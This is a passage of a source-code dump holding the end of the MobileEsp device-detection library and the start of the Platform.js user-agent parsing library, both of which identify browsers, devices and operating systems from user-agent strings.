-1 || this.uagent.search(this.deviceS80) > -1 || this.uagent.search(this.deviceS90) > -1) return true; else return false; }, //WEBOS AND PALM //************************** // Detects if the current browser is on a PalmOS device. DetectPalmOS : function() { //Make sure it's not WebOS first if (this.DetectPalmWebOS()) return false; //Most devices nowadays report as 'Palm', // but some older ones reported as Blazer or Xiino. if (this.uagent.search(this.devicePalm) > -1 || this.uagent.search(this.engineBlazer) > -1 || this.uagent.search(this.engineXiino) > -1) return true; else return false; }, //************************** // Detects if the current browser is on a Palm device // running the new WebOS. DetectPalmWebOS : function() { if (this.uagent.search(this.deviceWebOS) > -1) return true; else return false; }, //************************** // Detects if the current browser is on an HP tablet running WebOS. DetectWebOSTablet : function() { if (this.uagent.search(this.deviceWebOShp) > -1 && this.uagent.search(this.deviceTablet) > -1) return true; else return false; }, //************************** // Detects if the current browser is on a WebOS smart TV. DetectWebOSTV : function() { if (this.uagent.search(this.deviceWebOStv) > -1 && this.uagent.search(this.smartTV2) > -1) return true; else return false; }, //OPERA //************************** // Detects if the current browser is Opera Mobile or Mini. // Note: Older embedded Opera on mobile devices didn't follow these naming conventions. // Like Archos media players, they will probably show up in DetectMobileQuick or -Long instead. DetectOperaMobile : function() { if ((this.uagent.search(this.engineOpera) > -1) && ((this.uagent.search(this.mini) > -1 || this.uagent.search(this.mobi) > -1))) return true; else return false; }, //MISCELLANEOUS DEVICES //************************** // Detects if the current device is an Amazon Kindle (eInk devices only). // Note: For the Kindle Fire, use the normal Android methods. DetectKindle : function() { if (this.uagent.search(this.deviceKindle) > -1 && !this.DetectAndroid()) return true; else return false; }, //************************** // Detects if the current Amazon device has turned on the Silk accelerated browsing feature. // Note: Typically used by the the Kindle Fire. DetectAmazonSilk : function() { if (this.uagent.search(this.engineSilk) > -1) return true; else return false; }, //************************** // Detects if the current browser is a // Garmin Nuvifone. DetectGarminNuvifone : function() { if (this.uagent.search(this.deviceNuvifone) > -1) return true; else return false; }, //************************** // Detects a device running the Bada OS from Samsung. DetectBada : function() { if (this.uagent.search(this.deviceBada) > -1) return true; else return false; }, //************************** // Detects a device running the Tizen smartphone OS. DetectTizen : function() { if (this.uagent.search(this.deviceTizen) > -1 && this.uagent.search(this.mobile) > -1) return true; else return false; }, //************************** // Detects if the current browser is on a Tizen smart TV. DetectTizenTV : function() { if (this.uagent.search(this.deviceTizen) > -1 && this.uagent.search(this.smartTV1) > -1) return true; else return false; }, //************************** // Detects a device running the Meego OS. DetectMeego : function() { if (this.uagent.search(this.deviceMeego) > -1) return true; else return false; }, //************************** // Detects a phone running the Meego OS. DetectMeegoPhone : function() { if (this.uagent.search(this.deviceMeego) > -1 && this.uagent.search(this.mobi) > -1) return true; else return false; }, //************************** // Detects a mobile device (probably) running the Firefox OS. DetectFirefoxOS : function() { if (this.DetectFirefoxOSPhone() || this.DetectFirefoxOSTablet()) return true; else return false; }, //************************** // Detects a phone (probably) running the Firefox OS. DetectFirefoxOSPhone : function() { //First, let's make sure we're NOT on another major mobile OS. if (this.DetectIos() || this.DetectAndroid() || this.DetectSailfish()) return false; if ((this.uagent.search(this.engineFirefox) > -1) && (this.uagent.search(this.mobile) > -1)) return true; return false; }, //************************** // Detects a tablet (probably) running the Firefox OS. DetectFirefoxOSTablet : function() { //First, let's make sure we're NOT on another major mobile OS. if (this.DetectIos() || this.DetectAndroid() || this.DetectSailfish()) return false; if ((this.uagent.search(this.engineFirefox) > -1) && (this.uagent.search(this.deviceTablet) > -1)) return true; return false; }, //************************** // Detects a device running the Sailfish OS. DetectSailfish : function() { if (this.uagent.search(this.deviceSailfish) > -1) return true; else return false; }, //************************** // Detects a phone running the Sailfish OS. DetectSailfishPhone : function() { if (this.DetectSailfish() && (this.uagent.search(this.mobile) > -1)) return true; return false; }, //************************** // Detects a mobile device running the Ubuntu Mobile OS. DetectUbuntu : function() { if (this.DetectUbuntuPhone() || this.DetectUbuntuTablet()) return true; else return false; }, //************************** // Detects a phone running the Ubuntu Mobile OS. DetectUbuntuPhone : function() { if ((this.uagent.search(this.deviceUbuntu) > -1) && (this.uagent.search(this.mobile) > -1)) return true; return false; }, //************************** // Detects a tablet running the Ubuntu Mobile OS. DetectUbuntuTablet : function() { if ((this.uagent.search(this.deviceUbuntu) > -1) && (this.uagent.search(this.deviceTablet) > -1)) return true; return false; }, //************************** // Detects the Danger Hiptop device. DetectDangerHiptop : function() { if (this.uagent.search(this.deviceDanger) > -1 || this.uagent.search(this.deviceHiptop) > -1) return true; else return false; }, //************************** // Detects if the current browser is a Sony Mylo device. DetectSonyMylo : function() { if ((this.uagent.search(this.manuSony) > -1) && ((this.uagent.search(this.qtembedded) > -1) || (this.uagent.search(this.mylocom2) > -1))) return true; else return false; }, //************************** // Detects if the current device is on one of // the Maemo-based Nokia Internet Tablets. DetectMaemoTablet : function() { if (this.uagent.search(this.maemo) > -1) return true; //For Nokia N810, must be Linux + Tablet, or else it could be something else. if ((this.uagent.search(this.linux) > -1) && (this.uagent.search(this.deviceTablet) > -1) && this.DetectWebOSTablet() && !this.DetectAndroid()) return true; else return false; }, //************************** // Detects if the current device is an Archos media player/Internet tablet. DetectArchos : function() { if (this.uagent.search(this.deviceArchos) > -1) return true; else return false; }, //************************** // Detects if the current device is an Internet-capable game console. // Includes many handheld consoles. DetectGameConsole : function() { if (this.DetectSonyPlaystation() || this.DetectNintendo() || this.DetectXbox()) return true; else return false; }, //************************** // Detects if the current device is a Sony Playstation. DetectSonyPlaystation : function() { if (this.uagent.search(this.devicePlaystation) > -1) return true; else return false; }, //************************** // Detects if the current device is a handheld gaming device with // a touchscreen and modern iPhone-class browser. Includes the Playstation Vita. DetectGamingHandheld : function() { if ((this.uagent.search(this.devicePlaystation) > -1) && (this.uagent.search(this.devicePlaystationVita) > -1)) return true; else return false; }, //************************** // Detects if the current device is a Nintendo game device. DetectNintendo : function() { if (this.uagent.search(this.deviceNintendo) > -1 || this.uagent.search(this.deviceWii) > -1 || this.uagent.search(this.deviceNintendoDs) > -1) return true; else return false; }, //************************** // Detects if the current device is a Microsoft Xbox. DetectXbox : function() { if (this.uagent.search(this.deviceXbox) > -1) return true; else return false; }, //************************** // Detects whether the device is a Brew-powered device. // Note: Limited to older Brew-powered feature phones. // Ignores newer Brew versions like MP. Refer to DetectMobileQuick(). DetectBrewDevice : function() { if (this.uagent.search(this.deviceBrew) > -1) return true; else return false; }, // DEVICE CLASSES //************************** // Check to see whether the device is *any* 'smartphone'. // Note: It's better to use DetectTierIphone() for modern touchscreen devices. DetectSmartphone : function() { //Exclude duplicates from TierIphone if (this.DetectTierIphone() || this.DetectS60OssBrowser() || this.DetectSymbianOS() || this.DetectWindowsMobile() || this.DetectBlackBerry() || this.DetectMeegoPhone() || this.DetectPalmOS()) return true; //Otherwise, return false. return false; }, //************************** // Detects if the current device is a mobile device. // This method catches most of the popular modern devices. // Excludes Apple iPads and other modern tablets. DetectMobileQuick : function() { if (this.initCompleted || this.isMobilePhone) return this.isMobilePhone; //Let's exclude tablets. if (this.DetectTierTablet()) return false; //Most mobile browsing is done on smartphones if (this.DetectSmartphone()) return true; //Catch-all for many mobile devices if (this.uagent.search(this.mobile) > -1) return true; if (this.DetectOperaMobile()) return true; //We also look for Kindle devices if (this.DetectKindle() || this.DetectAmazonSilk()) return true; if (this.uagent.search(this.deviceMidp) > -1 || this.DetectBrewDevice()) return true; if ((this.uagent.search(this.engineObigo) > -1) || (this.uagent.search(this.engineNetfront) > -1) || (this.uagent.search(this.engineUpBrowser) > -1)) return true; return false; }, //************************** // Detects in a more comprehensive way if the current device is a mobile device. DetectMobileLong : function() { if (this.DetectMobileQuick()) return true; if (this.DetectGameConsole()) return true; if (this.DetectDangerHiptop() || this.DetectMaemoTablet() || this.DetectSonyMylo() || this.DetectArchos()) return true; if ((this.uagent.search(this.devicePda) > -1) && !(this.uagent.search(this.disUpdate) > -1)) return true; //Detect for certain very old devices with stupid useragent strings. if ((this.uagent.search(this.manuSamsung1) > -1) || (this.uagent.search(this.manuSonyEricsson) > -1) || (this.uagent.search(this.manuericsson) > -1) || (this.uagent.search(this.svcDocomo) > -1) || (this.uagent.search(this.svcKddi) > -1) || (this.uagent.search(this.svcVodafone) > -1)) return true; return false; }, //***************************** // For Mobile Web Site Design //***************************** //************************** // The quick way to detect for a tier of devices. // This method detects for the new generation of // HTML 5 capable, larger screen tablets. // Includes iPad, Android (e.g., Xoom), BB Playbook, WebOS, etc. DetectTierTablet : function() { if (this.initCompleted || this.isTierTablet) return this.isTierTablet; if (this.DetectIpad() || this.DetectAndroidTablet() || this.DetectBlackBerryTablet() || this.DetectFirefoxOSTablet() || this.DetectUbuntuTablet() || this.DetectWebOSTablet()) return true; else return false; }, //************************** // The quick way to detect for a tier of devices. // This method detects for devices which can // display iPhone-optimized web content. // Includes iPhone, iPod Touch, Android, Windows Phone 7 and 8, BB10, WebOS, Playstation Vita, etc. DetectTierIphone : function() { if (this.initCompleted || this.isTierIphone) return this.isTierIphone; if (this.DetectIphoneOrIpod() || this.DetectAndroidPhone() || this.DetectWindowsPhone() || this.DetectBlackBerry10Phone() || this.DetectPalmWebOS() || this.DetectBada() || this.DetectTizen() || this.DetectFirefoxOSPhone() || this.DetectSailfishPhone() || this.DetectUbuntuPhone() || this.DetectGamingHandheld()) return true; //Note: BB10 phone is in the previous paragraph if (this.DetectBlackBerryWebKit() && this.DetectBlackBerryTouch()) return true; else return false; }, //************************** // The quick way to detect for a tier of devices. // This method detects for devices which are likely to be // capable of viewing CSS content optimized for the iPhone, // but may not necessarily support JavaScript. // Excludes all iPhone Tier devices. DetectTierRichCss : function() { if (this.initCompleted || this.isTierRichCss) return this.isTierRichCss; //Exclude iPhone and Tablet Tiers and e-Ink Kindle devices if (this.DetectTierIphone() || this.DetectKindle() || this.DetectTierTablet()) return false; //Exclude if not mobile if (!this.DetectMobileQuick()) return false; //If it's a mobile webkit browser on any other device, it's probably OK. if (this.DetectWebkit()) return true; //The following devices are also explicitly ok. if (this.DetectS60OssBrowser() || this.DetectBlackBerryHigh() || this.DetectWindowsMobile() || (this.uagent.search(this.engineTelecaQ) > -1)) return true; else return false; }, //************************** // The quick way to detect for a tier of devices. // This method detects for all other types of phones, // but excludes the iPhone and RichCSS Tier devices. // NOTE: This method probably won't work due to poor // support for JavaScript among other devices. DetectTierOtherPhones : function() { if (this.initCompleted || this.isTierGenericMobile) return this.isTierGenericMobile; //Exclude iPhone, Rich CSS and Tablet Tiers if (this.DetectTierIphone() || this.DetectTierRichCss() || this.DetectTierTablet()) return false; //Otherwise, if it's mobile, it's OK if (this.DetectMobileLong()) return true; else return false; } }; //Initialize the MobileEsp object MobileEsp.InitDeviceScan(); ================================================ FILE: core/main/client/lib/platform.js ================================================ /*! * Platform.js * Copyright 2014-2020 Benjamin Tan * Copyright 2011-2013 John-David Dalton * Available under MIT license */ ;(function() { 'use strict'; /** Used to determine if values are of the language type `Object`. */ var objectTypes = { 'function': true, 'object': true }; /** Used as a reference to the global object. */ var root = (objectTypes[typeof window] && window) || this; /** Backup possible global object. */ var oldRoot = root; /** Detect free variable `exports`. */ var freeExports = objectTypes[typeof exports] && exports; /** Detect free variable `module`. */ var freeModule = objectTypes[typeof module] && module && !module.nodeType && module; /** Detect free variable `global` from Node.js or Browserified code and use it as `root`. */ var freeGlobal = freeExports && freeModule && typeof global == 'object' && global; if (freeGlobal && (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal || freeGlobal.self === freeGlobal)) { root = freeGlobal; } /** * Used as the maximum length of an array-like object. * See the [ES6 spec](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength) * for more details. */ var maxSafeInteger = Math.pow(2, 53) - 1; /** Regular expression to detect Opera. */ var reOpera = /\bOpera/; /** Possible global object. */ var thisBinding = this; /** Used for native method references. */ var objectProto = Object.prototype; /** Used to check for own properties of an object. */ var hasOwnProperty = objectProto.hasOwnProperty; /** Used to resolve the internal `[[Class]]` of values. */ var toString = objectProto.toString; /*--------------------------------------------------------------------------*/ /** * Capitalizes a string value. * * @private * @param {string} string The string to capitalize. * @returns {string} The capitalized string. */ function capitalize(string) { string = String(string); return string.charAt(0).toUpperCase() + string.slice(1); } /** * A utility function to clean up the OS name. * * @private * @param {string} os The OS name to clean up. * @param {string} [pattern] A `RegExp` pattern matching the OS name. * @param {string} [label] A label for the OS. */ function cleanupOS(os, pattern, label) { // Platform tokens are defined at: // http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx // http://web.archive.org/web/20081122053950/http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx var data = { '10.0': '10', '6.4': '10 Technical Preview', '6.3': '8.1', '6.2': '8', '6.1': 'Server 2008 R2 / 7', '6.0': 'Server 2008 / Vista', '5.2': 'Server 2003 / XP 64-bit', '5.1': 'XP', '5.01': '2000 SP1', '5.0': '2000', '4.0': 'NT', '4.90': 'ME' }; // Detect Windows version from platform tokens. if (pattern && label && /^Win/i.test(os) && !/^Windows Phone /i.test(os) && (data = data[/[\d.]+$/.exec(os)])) { os = 'Windows ' + data; } // Correct character case and cleanup string. os = String(os); if (pattern && label) { os = os.replace(RegExp(pattern, 'i'), label); } os = format( os.replace(/ ce$/i, ' CE') .replace(/\bhpw/i, 'web') .replace(/\bMacintosh\b/, 'Mac OS') .replace(/_PowerPC\b/i, ' OS') .replace(/\b(OS X) [^ \d]+/i, '$1') .replace(/\bMac (OS X)\b/, '$1') .replace(/\/(\d)/, ' $1') .replace(/_/g, '.') .replace(/(?: BePC|[ .]*fc[ \d.]+)$/i, '') .replace(/\bx86\.64\b/gi, 'x86_64') .replace(/\b(Windows Phone) OS\b/, '$1') .replace(/\b(Chrome OS \w+) [\d.]+\b/, '$1') .split(' on ')[0] ); return os; } /** * An iteration utility for arrays and objects. * * @private * @param {Array|Object} object The object to iterate over. * @param {Function} callback The function called per iteration. */ function each(object, callback) { var index = -1, length = object ? object.length : 0; if (typeof length == 'number' && length > -1 && length <= maxSafeInteger) { while (++index < length) { callback(object[index], index, object); } } else { forOwn(object, callback); } } /** * Trim and conditionally capitalize string values. * * @private * @param {string} string The string to format. * @returns {string} The formatted string. */ function format(string) { string = trim(string); return /^(?:webOS|i(?:OS|P))/.test(string) ? string : capitalize(string); } /** * Iterates over an object's own properties, executing the `callback` for each. * * @private * @param {Object} object The object to iterate over. * @param {Function} callback The function executed per own property. */ function forOwn(object, callback) { for (var key in object) { if (hasOwnProperty.call(object, key)) { callback(object[key], key, object); } } } /** * Gets the internal `[[Class]]` of a value. * * @private * @param {*} value The value. * @returns {string} The `[[Class]]`. */ function getClassOf(value) { return value == null ? capitalize(value) : toString.call(value).slice(8, -1); } /** * Host objects can return type values that are different from their actual * data type. The objects we are concerned with usually return non-primitive * types of "object", "function", or "unknown". * * @private * @param {*} object The owner of the property. * @param {string} property The property to check. * @returns {boolean} Returns `true` if the property value is a non-primitive, else `false`. */ function isHostType(object, property) { var type = object != null ? typeof object[property] : 'number'; return !/^(?:boolean|number|string|undefined)$/.test(type) && (type == 'object' ? !!object[property] : true); } /** * Prepares a string for use in a `RegExp` by making hyphens and spaces optional. * * @private * @param {string} string The string to qualify. * @returns {string} The qualified string. */ function qualify(string) { return String(string).replace(/([ -])(?!$)/g, '$1?'); } /** * A bare-bones `Array#reduce` like utility function. * * @private * @param {Array} array The array to iterate over. * @param {Function} callback The function called per iteration. * @returns {*} The accumulated result. */ function reduce(array, callback) { var accumulator = null; each(array, function(value, index) { accumulator = callback(accumulator, value, index, array); }); return accumulator; } /** * Removes leading and trailing whitespace from a string. * * @private * @param {string} string The string to trim. * @returns {string} The trimmed string. */ function trim(string) { return String(string).replace(/^ +| +$/g, ''); } /*--------------------------------------------------------------------------*/ /** * Creates a new platform object. * * @memberOf platform * @param {Object|string} [ua=navigator.userAgent] The user agent string or * context object. * @returns {Object} A platform object. */ function parse(ua) { /** The environment context object. */ var context = root; /** Used to flag when a custom context is provided. */ var isCustomContext = ua && typeof ua == 'object' && getClassOf(ua) != 'String'; // Juggle arguments. if (isCustomContext) { context = ua; ua = null; } /** Browser navigator object. */ var nav = context.navigator || {}; /** Browser user agent string. */ var userAgent = nav.userAgent || ''; ua || (ua = userAgent); /** Used to flag when `thisBinding` is the [ModuleScope]. */ var isModuleScope = isCustomContext || thisBinding == oldRoot; /** Used to detect if browser is like Chrome. */ var likeChrome = isCustomContext ? !!nav.likeChrome : /\bChrome\b/.test(ua) && !/internal|\n/i.test(toString.toString()); /** Internal `[[Class]]` value shortcuts. */ var objectClass = 'Object', airRuntimeClass = isCustomContext ? objectClass : 'ScriptBridgingProxyObject', enviroClass = isCustomContext ? objectClass : 'Environment', javaClass = (isCustomContext && context.java) ? 'JavaPackage' : getClassOf(context.java), phantomClass = isCustomContext ? objectClass : 'RuntimeObject'; /** Detect Java environments. */ var java = /\bJava/.test(javaClass) && context.java; /** Detect Rhino. */ var rhino = java && getClassOf(context.environment) == enviroClass; /** A character to represent alpha. */ var alpha = java ? 'a' : '\u03b1'; /** A character to represent beta. */ var beta = java ? 'b' : '\u03b2'; /** Browser document object. */ var doc = context.document || {}; /** * Detect Opera browser (Presto-based). * http://www.howtocreate.co.uk/operaStuff/operaObject.html * http://dev.opera.com/articles/view/opera-mini-web-content-authoring-guidelines/#operamini */ var opera = context.operamini || context.opera; /** Opera `[[Class]]`. */ var operaClass = reOpera.test(operaClass = (isCustomContext && opera) ? opera['[[Class]]'] : getClassOf(opera)) ? operaClass : (opera = null); /*------------------------------------------------------------------------*/ /** Temporary variable used over the script's lifetime. */ var data; /** The CPU architecture. */ var arch = ua; /** Platform description array. */ var description = []; /** Platform alpha/beta indicator. */ var prerelease = null; /** A flag to indicate that environment features should be used to resolve the platform. */ var useFeatures = ua == userAgent; /** The browser/environment version. */ var version = useFeatures && opera && typeof opera.version == 'function' && opera.version(); /** A flag to indicate if the OS ends with "/ Version" */ var isSpecialCasedOS; /* Detectable layout engines (order is important). */ var layout = getLayout([ { 'label': 'EdgeHTML', 'pattern': 'Edge' }, 'Trident', { 'label': 'WebKit', 'pattern': 'AppleWebKit' }, 'iCab', 'Presto', 'NetFront', 'Tasman', 'KHTML', 'Gecko' ]); /* Detectable browser names (order is important). */ var name = getName([ 'Adobe AIR', 'Arora', 'Avant Browser', 'Breach', 'Camino', 'Electron', 'Epiphany', 'Fennec', 'Flock', 'Galeon', 'GreenBrowser', 'iCab', 'Iceweasel', 'K-Meleon', 'Konqueror', 'Lunascape', 'Maxthon', { 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' }, 'Midori', 'Nook Browser', 'PaleMoon', 'PhantomJS', 'Raven', 'Rekonq', 'RockMelt', { 'label': 'Samsung Internet', 'pattern': 'SamsungBrowser' }, 'SeaMonkey', { 'label': 'Silk', 'pattern': '(?:Cloud9|Silk-Accelerated)' }, 'Sleipnir', 'SlimBrowser', { 'label': 'SRWare Iron', 'pattern': 'Iron' }, 'Sunrise', 'Swiftfox', 'Vivaldi', 'Waterfox', 'WebPositive', { 'label': 'Yandex Browser', 'pattern': 'YaBrowser' }, { 'label': 'UC Browser', 'pattern': 'UCBrowser' }, 'Opera Mini', { 'label': 'Opera Mini', 'pattern': 'OPiOS' }, 'Opera', { 'label': 'Opera', 'pattern': 'OPR' }, 'Chromium', 'Chrome', { 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' }, { 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' }, { 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' }, { 'label': 'Firefox for iOS', 'pattern': 'FxiOS' }, { 'label': 'IE', 'pattern': 'IEMobile' }, { 'label': 'IE', 'pattern': 'MSIE' }, 'Safari' ]); /* Detectable products (order is important). */ var product = getProduct([ { 'label': 'BlackBerry', 'pattern': 'BB10' }, 'BlackBerry', { 'label': 'Galaxy S', 'pattern': 'GT-I9000' }, { 'label': 'Galaxy S2', 'pattern': 'GT-I9100' }, { 'label': 'Galaxy S3', 'pattern': 'GT-I9300' }, { 'label': 'Galaxy S4', 'pattern': 'GT-I9500' }, { 'label': 'Galaxy S5', 'pattern': 'SM-G900' }, { 'label': 'Galaxy S6', 'pattern': 'SM-G920' }, { 'label': 'Galaxy S6 Edge', 'pattern': 'SM-G925' }, { 'label': 'Galaxy S7', 'pattern': 'SM-G930' }, { 'label': 'Galaxy S7 Edge', 'pattern': 'SM-G935' }, 'Google TV', 'Lumia', 'iPad', 'iPod', 'iPhone', 'Kindle', { 'label': 'Kindle Fire', 'pattern': '(?:Cloud9|Silk-Accelerated)' }, 'Nexus', 'Nook', 'PlayBook', 'PlayStation Vita', 'PlayStation', 'TouchPad', 'Transformer', { 'label': 'Wii U', 'pattern': 'WiiU' }, 'Wii', 'Xbox One', { 'label': 'Xbox 360', 'pattern': 'Xbox' }, 'Xoom' ]); /* Detectable manufacturers. */ var manufacturer = getManufacturer({ 'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 }, 'Alcatel': {}, 'Archos': {}, 'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 }, 'Asus': { 'Transformer': 1 }, 'Barnes & Noble': { 'Nook': 1 }, 'BlackBerry': { 'PlayBook': 1 }, 'Google': { 'Google TV': 1, 'Nexus': 1 }, 'HP': { 'TouchPad': 1 }, 'HTC': {}, 'Huawei': {}, 'Lenovo': {}, 'LG': {}, 'Microsoft': { 'Xbox': 1, 'Xbox One': 1 }, 'Motorola': { 'Xoom': 1 }, 'Nintendo': { 'Wii U': 1, 'Wii': 1 }, 'Nokia': { 'Lumia': 1 }, 'Oppo': {}, 'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 }, 'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 }, 'Xiaomi': { 'Mi': 1, 'Redmi': 1 } }); /* Detectable operating systems (order is important). */ var os = getOS([ 'Windows Phone', 'KaiOS', 'Android', 'CentOS', { 'label': 'Chrome OS', 'pattern': 'CrOS' }, 'Debian', { 'label': 'DragonFly BSD', 'pattern': 'DragonFly' }, 'Fedora', 'FreeBSD', 'Gentoo', 'Haiku', 'Kubuntu', 'Linux Mint', 'OpenBSD', 'Red Hat', 'SuSE', 'Ubuntu', 'Xubuntu', 'Cygwin', 'Symbian OS', 'hpwOS', 'webOS ', 'webOS', 'Tablet OS', 'Tizen', 'Linux', 'Mac OS X', 'Macintosh', 'Mac', 'Windows 98;', 'Windows ' ]); /*------------------------------------------------------------------------*/ /** * Picks the layout engine from an array of guesses. * * @private * @param {Array} guesses An array of guesses. * @returns {null|string} The detected layout engine. */ function getLayout(guesses) { return reduce(guesses, function(result, guess) { return result || RegExp('\\b' + ( guess.pattern || qualify(guess) ) + '\\b', 'i').exec(ua) && (guess.label || guess); }); } /** * Picks the manufacturer from an array of guesses. * * @private * @param {Array} guesses An object of guesses. * @returns {null|string} The detected manufacturer. */ function getManufacturer(guesses) { return reduce(guesses, function(result, value, key) { // Lookup the manufacturer by product or scan the UA for the manufacturer. return result || ( value[product] || value[/^[a-z]+(?: +[a-z]+\b)*/i.exec(product)] || RegExp('\\b' + qualify(key) + '(?:\\b|\\w*\\d)', 'i').exec(ua) ) && key; }); } /** * Picks the browser name from an array of guesses. * * @private * @param {Array} guesses An array of guesses. * @returns {null|string} The detected browser name. */ function getName(guesses) { return reduce(guesses, function(result, guess) { return result || RegExp('\\b' + ( guess.pattern || qualify(guess) ) + '\\b', 'i').exec(ua) && (guess.label || guess); }); } /** * Picks the OS name from an array of guesses. * * @private * @param {Array} guesses An array of guesses. * @returns {null|string} The detected OS name. */ function getOS(guesses) { return reduce(guesses, function(result, guess) { var pattern = guess.pattern || qualify(guess); if (!result && (result = RegExp('\\b' + pattern + '(?:/[\\d.]+|[ \\w.]*)', 'i').exec(ua) )) { result = cleanupOS(result, pattern, guess.label || guess); } return result; }); } /** * Picks the product name from an array of guesses. * * @private * @param {Array} guesses An array of guesses. * @returns {null|string} The detected product name. */ function getProduct(guesses) { return reduce(guesses, function(result, guess) { var pattern = guess.pattern || qualify(guess); if (!result && (result = RegExp('\\b' + pattern + ' *\\d+[.\\w_]*', 'i').exec(ua) || RegExp('\\b' + pattern + ' *\\w+-[\\w]*', 'i').exec(ua) || RegExp('\\b' + pattern + '(?:; *(?:[a-z]+[_-])?[a-z]+\\d+|[^ ();-]*)', 'i').exec(ua) )) { // Split by forward slash and append product version if needed. if ((result = String((guess.label && !RegExp(pattern, 'i').test(guess.label)) ? guess.label : result).split('/'))[1] && !/[\d.]+/.test(result[0])) { result[0] += ' ' + result[1]; } // Correct character case and cleanup string. guess = guess.label || guess; result = format(result[0] .replace(RegExp(pattern, 'i'), guess) .replace(RegExp('; *(?:' + guess + '[_-])?', 'i'), ' ') .replace(RegExp('(' + guess + ')[-_.]?(\\w)', 'i'), '$1 $2')); } return result; }); } /** * Resolves the version using an array of UA patterns. * * @private * @param {Array} patterns An array of UA patterns. * @returns {null|string} The detected version. */ function getVersion(patterns) { return reduce(patterns, function(result, pattern) { return result || (RegExp(pattern + '(?:-[\\d.]+/|(?: for [\\w-]+)?[ /-])([\\d.]+[^ ();/_-]*)', 'i').exec(ua) || 0)[1] || null; }); } /** * Returns `platform.description` when the platform object is coerced to a string. * * @name toString * @memberOf platform * @returns {string} Returns `platform.description` if available, else an empty string. */ function toStringPlatform() { return this.description || ''; } /*------------------------------------------------------------------------*/ // Convert layout to an array so we can add extra details. layout && (layout = [layout]); // Detect Android products. // Browsers on Android devices typically provide their product IDS after "Android;" // up to "Build" or ") AppleWebKit". // Example: // "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36 // (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36" if (/\bAndroid\b/.test(os) && !product && (data = /\bAndroid[^;]*;(.*?)(?:Build|\) AppleWebKit)\b/i.exec(ua))) { product = trim(data[1]) // Replace any language codes (eg. "en-US"). .replace(/^[a-z]{2}-[a-z]{2};\s*/i, '') || null; } // Detect product names that contain their manufacturer's name. if (manufacturer && !product) { product = getProduct([manufacturer]); } else if (manufacturer && product) { product = product .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\s]', 'i'), manufacturer + ' ') .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\w)', 'i'), manufacturer + ' $2'); } // Clean up Google TV. if ((data = /\bGoogle TV\b/.exec(product))) { product = data[0]; } // Detect simulators. if (/\bSimulator\b/i.test(ua)) { product = (product ? product + ' ' : '') + 'Simulator'; } // Detect Opera Mini 8+ running in Turbo/Uncompressed mode on iOS. if (name == 'Opera Mini' && /\bOPiOS\b/.test(ua)) { description.push('running in Turbo/Uncompressed mode'); } // Detect IE Mobile 11. if (name == 'IE' && /\blike iPhone OS\b/.test(ua)) { data = parse(ua.replace(/like iPhone OS/, '')); manufacturer = data.manufacturer; product = data.product; } // Detect iOS. else if (/^iP/.test(product)) { name || (name = 'Safari'); os = 'iOS' + ((data = / OS ([\d_]+)/i.exec(ua)) ? ' ' + data[1].replace(/_/g, '.') : ''); } // Detect Kubuntu. else if (name == 'Konqueror' && /^Linux\b/i.test(os)) { os = 'Kubuntu'; } // Detect Android browsers. else if ((manufacturer && manufacturer != 'Google' && ((/Chrome/.test(name) && !/\bMobile Safari\b/i.test(ua)) || /\bVita\b/.test(product))) || (/\bAndroid\b/.test(os) && /^Chrome/.test(name) && /\bVersion\//i.test(ua))) { name = 'Android Browser'; os = /\bAndroid\b/.test(os) ? os : 'Android'; } // Detect Silk desktop/accelerated modes. else if (name == 'Silk') { if (!/\bMobi/i.test(ua)) { os = 'Android'; description.unshift('desktop mode'); } if (/Accelerated *= *true/i.test(ua)) { description.unshift('accelerated'); } } // Detect UC Browser speed mode. else if (name == 'UC Browser' && /\bUCWEB\b/.test(ua)) { description.push('speed mode'); } // Detect PaleMoon identifying as Firefox. else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) { description.push('identifying as Firefox ' + data[1]); } // Detect Firefox OS and products running Firefox. else if (name == 'Firefox' && (data = /\b(Mobile|Tablet|TV)\b/i.exec(ua))) { os || (os = 'Firefox OS'); product || (product = data[1]); } // Detect false positives for Firefox/Safari. else if (!name || (data = !/\bMinefield\b/i.test(ua) && /\b(?:Firefox|Safari)\b/.exec(name))) { // Escape the `/` for Firefox 1. if (name && !product && /[\/,]|^[^(]+?\)/.test(ua.slice(ua.indexOf(data + '/') + 8))) { // Clear name of false positives. name = null; } // Reassign a generic name. if ((data = product || manufacturer || os) && (product || manufacturer || /\b(?:Android|Symbian OS|Tablet OS|webOS)\b/.test(os))) { name = /[a-z]+(?: Hat)?/i.exec(/\bAndroid\b/.test(os) ? os : data) + ' Browser'; } } // Add Chrome version to description for Electron. else if (name == 'Electron' && (data = (/\bChrome\/([\d.]+)\b/.exec(ua) || 0)[1])) { description.push('Chromium ' + data); } // Detect non-Opera (Presto-based) versions (order is important). if (!version) { version = getVersion([ '(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$)|UCBrowser|YaBrowser)', 'Version', qualify(name), '(?:Firefox|Minefield|NetFront)' ]); } // Detect stubborn layout engines. if ((data = layout == 'iCab' && parseFloat(version) > 3 && 'WebKit' || /\bOpera\b/.test(name) && (/\bOPR\b/.test(ua) ? 'Blink' : 'Presto') || /\b(?:Midori|Nook|Safari)\b/i.test(ua) && !/^(?:Trident|EdgeHTML)$/.test(layout) && 'WebKit' || !layout && /\bMSIE\b/i.test(ua) && (os == 'Mac OS' ? 'Tasman' : 'Trident') || layout == 'WebKit' && 